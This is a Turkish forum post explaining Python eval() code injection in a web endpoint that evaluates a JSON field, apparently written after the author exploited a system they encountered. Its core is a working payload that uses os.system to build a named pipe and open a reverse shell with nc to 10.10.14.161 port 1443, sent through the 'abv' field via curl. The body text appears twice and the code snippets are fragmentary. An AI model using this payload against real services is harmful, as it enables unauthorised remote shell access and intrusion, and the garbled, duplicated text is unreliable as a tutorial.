Python çok sevdiğim mükemmel bir dildir fakat eğer işinizi bilmiyorsanız yazdığınız kodlarda belli açıklar ortaya çıkartabilirsiniz geçelim anlatımımıza
Eval() Function ;
Geçenlerde yine bir sistemde rastladım , pythonu web üzerine taşıyıp belli başla işlemler koymuşlar fakat bir açık ortaya çıktığından dolayı filtreleme özelliği koymak istemişler ve burdada eval fonksiyonunu kullanmışlar
önce eval fonksiyonu nedir ona değinelim ;
eval bizim dinamik bir kod yürütmemizi sağlıyacak bir fonksiyondur
üstte toplama işlemi için yapcağımız def olduğunu varsayın genellikle yeni başlıyanlar hesap makinesi fln yaparken kullanıyorlar
inputa girilen değerler anında toplancaktır ve print ile yazılcaktır fakat eval da böyle değildir eval bu değerleri içinde tutar ve siz print demediğiniz sürece toplamaz ve yazdırmaz gibi düşünebilirsiniz
tamam güzel hoş fakat bir sorun var eval.py yi incelediğinizde inputa girdiğiniz herşeyi yürütüyor
zafiyetin bulunduğu kodu inceliyelim daha iyi anlıcaksınız

if eval() fonksiyonunu gördüğünüzü umuyorum güzel düşünülmüş güzel filtrelenmiş fakat
bunu gördüğümde şu şekilde bir kod kodluyarak kolayca zafiyeti kullanabildim

hatırlarsınız ki yukarıda eval fonksiyonu ille request.json['abv'] tanımlanmıştı ....
Peki terminal üzerinden nasıl yaparız Tabiki can dostumuz curl >>

görebilceğiniz gibi yine aynı şey "abv": '__import__' diye komutumu girmişim .....
canım sıkıldıkca bir şeyler anlatayım bari
View hidden content is available for registered users!
Eval() Function ;
Geçenlerde yine bir sistemde rastladım , pythonu web üzerine taşıyıp belli başla işlemler koymuşlar fakat bir açık ortaya çıktığından dolayı filtreleme özelliği koymak istemişler ve burdada eval fonksiyonunu kullanmışlar
önce eval fonksiyonu nedir ona değinelim ;
eval bizim dinamik bir kod yürütmemizi sağlıyacak bir fonksiyondur
üstte toplama işlemi için yapcağımız def olduğunu varsayın genellikle yeni başlıyanlar hesap makinesi fln yaparken kullanıyorlar
inputa girilen değerler anında toplancaktır ve print ile yazılcaktır fakat eval da böyle değildir eval bu değerleri içinde tutar ve siz print demediğiniz sürece toplamaz ve yazdırmaz gibi düşünebilirsiniz
Kod:
while(True):
s = raw_input("toplancak değer girin:")
tamam güzel hoş fakat bir sorun var eval.py yi incelediğinizde inputa girdiğiniz herşeyi yürütüyor
zafiyetin bulunduğu kodu inceliyelim daha iyi anlıcaksınız

if eval() fonksiyonunu gördüğünüzü umuyorum güzel düşünülmüş güzel filtrelenmiş fakat
bunu gördüğümde şu şekilde bir kod kodluyarak kolayca zafiyeti kullanabildim

Kod:
brew_dict['abv'] = "__import__('os').system('rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc 10.10.14.161 1443 1>/tmp/backpipe')"
hatırlarsınız ki yukarıda eval fonksiyonu ille request.json['abv'] tanımlanmıştı ....
Peki terminal üzerinden nasıl yaparız Tabiki can dostumuz curl >>
görebilceğiniz gibi yine aynı şey "abv": '__import__' diye komutumu girmişim .....
canım sıkıldıkca bir şeyler anlatayım bari
Son düzenleme: